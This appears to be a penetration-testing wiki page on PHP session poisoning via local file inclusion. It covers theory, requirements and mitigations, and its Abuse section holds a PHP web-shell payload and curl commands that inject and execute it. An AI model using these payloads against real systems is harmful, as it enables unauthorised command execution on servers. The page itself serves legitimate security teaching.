PRIMARY CATEGORY → LFI

Theory

PHP Session Poisoning consists of storing attacker-controlled PHP code inside a server-side session file and subsequently executing it through a LFI vulnerability.

This technique requires two different primitives:

Controllable Session Value → Write PHP Code
Local File Inclusion       → Execute PHP Code

The session file is not a log file. It is a serialized representation of the server-side $_SESSION array.

Likewise, reading a session file does not execute its contents:

file_get_contents(session_file) → Returns text
include(session_file)           → Parses and executes PHP tags
PHP Session Storage

The session cookie normally contains only an identifier:

Cookie: PHPSESSID=2f3a1c8d9e7b6a5c4d

The actual session data is stored on the server using the handler configured in session.save_handler.

The default handler is files, which creates files inside the directory configured through session.save_path.

Common locations include:

/var/lib/php/sessions/sess_<SESSION_ID>
/var/lib/php/session/sess_<SESSION_ID>
/tmp/sess_<SESSION_ID>
C:\Windows\Temp\sess_<SESSION_ID>

These locations must not be assumed. The real location depends on the PHP and operating-system configuration.

The application may also use a non-file handler such as:

  • Redis

  • Memcached

  • Database storage

  • A custom session handler

In those cases, a local sess_<SESSION_ID> file may not exist.

Session Serialization

When session.serialize_handler is set to its default php value, session variables are stored approximately as:

username|s:5:"guest";language|s:2:"en";

An attacker-controlled value containing PHP code could produce:

language|s:<LENGTH>:"<?php system($_GET["cmd"]); ?>";

When the session file is included:

  • PHP initially treats the serialization metadata as ordinary text.

  • The <?php opening tag switches the interpreter into PHP mode.

  • The injected code is parsed and executed.

  • The file extension is irrelevant because include() explicitly invokes the PHP parser.

Other serialization handlers, such as php_serialize or php_binary, produce different formats, but PHP code can still execute if valid PHP tags remain inside the included file.


Requirements

The following conditions must be satisfied:

  • The application uses a file-based session handler.

  • The session-file location can be determined.

  • The attacker knows or controls a valid session identifier.

  • Attacker-controlled input is written into $_SESSION.

  • The session file is readable by the PHP process.

  • The application contains a file-inclusion sink such as include() or require().

  • The session path can reach the inclusion sink without an unavoidable filename suffix.

  • The injected PHP syntax survives any validation or transformation.

A path traversal used by file_get_contents() is an arbitrary file read, not an executable LFI sink.


Abuse

Identifying a Controllable Session Value

Consider an application that stores a request parameter in the session:

session_start();
 
if (isset($_GET['language'])) {
    $_SESSION['language'] = $_GET['language'];
}

First, obtain a valid session cookie and submit a harmless marker:

curl --silent --location --request GET --get --cookie 'PHPSESSID=<SESSION_ID>' --data-urlencode 'language=SESSION_TEST_123' 'http://<TARGET>/profile.php'

Then use the LFI to read the corresponding session file:

curl --silent --location --request GET --get --cookie 'PHPSESSID=<SESSION_ID>' --data-urlencode 'page=/var/lib/php/sessions/sess_<SESSION_ID>' 'http://<TARGET>/index.php'

If SESSION_TEST_123 appears in the response, the following have been confirmed:

  • The session path is correct.

  • The application uses file-backed sessions.

  • The selected parameter reaches the session file.

  • The inclusion endpoint can access the file.

This harmless control should be performed before injecting PHP code.

Poisoning the Session

Replace the harmless marker with a PHP payload:

curl --silent --location --request GET --get --cookie 'PHPSESSID=<SESSION_ID>' --data-urlencode 'language=<?php system($_GET["cmd"]); ?>' 'http://<TARGET>/profile.php'

PHP normally writes the updated session data when the request finishes or when the application calls:

session_write_close();

Therefore, the poisoning request should complete before triggering the inclusion.

Executing the Session File

Include the poisoned session file while preserving the same session cookie:

curl --silent --location --request GET --get --cookie 'PHPSESSID=<SESSION_ID>' --data-urlencode 'page=/var/lib/php/sessions/sess_<SESSION_ID>' --data-urlencode 'cmd=<COMMAND>' 'http://<TARGET>/index.php'

A vulnerable sink may resemble:

include($_GET['page']);

The execution flow is:

Attacker Input
      ↓
$_SESSION['language']
      ↓
sess_<SESSION_ID>
      ↓
include(sess_<SESSION_ID>)
      ↓
PHP Parser
      ↓
Command Execution

Relevant Restrictions

Strict Session Mode
session.use_strict_mode = On

Strict mode prevents PHP from accepting an attacker-invented, uninitialized session identifier.

It does not prevent poisoning an already valid server-issued session.

Forced Extensions

The following code may prevent direct inclusion of a session file:

Check Null Byte Injection

include($_GET['page'] . '.php');

The application would attempt to include:

/var/lib/php/sessions/sess_SESSION_ID.php

A separate suffix-bypass condition would be required. Null-byte suffix bypasses do not work in modern PHP versions.

Session Garbage Collection

Session files may be removed according to:

session.gc_maxlifetime
session.gc_probability
session.gc_divisor

A missing file may therefore indicate expiration or garbage collection rather than an incorrect path.

Path Restrictions

Controls such as open_basedir, filesystem permissions or container isolation may prevent PHP from including the session directory.


Mitigation

  • Never construct include() or require() paths from user-controlled input.

  • Map permitted page names to fixed server-side paths.

  • Store session files outside the webroot with restrictive permissions.

  • Disable session upload progress when it is not required.

  • Enable session.use_strict_mode.

  • Avoid storing untrusted raw input in session variables.

  • Apply least privilege to the PHP-FPM or web-server account.

  • Treat open_basedir as defence in depth, not as the primary fix.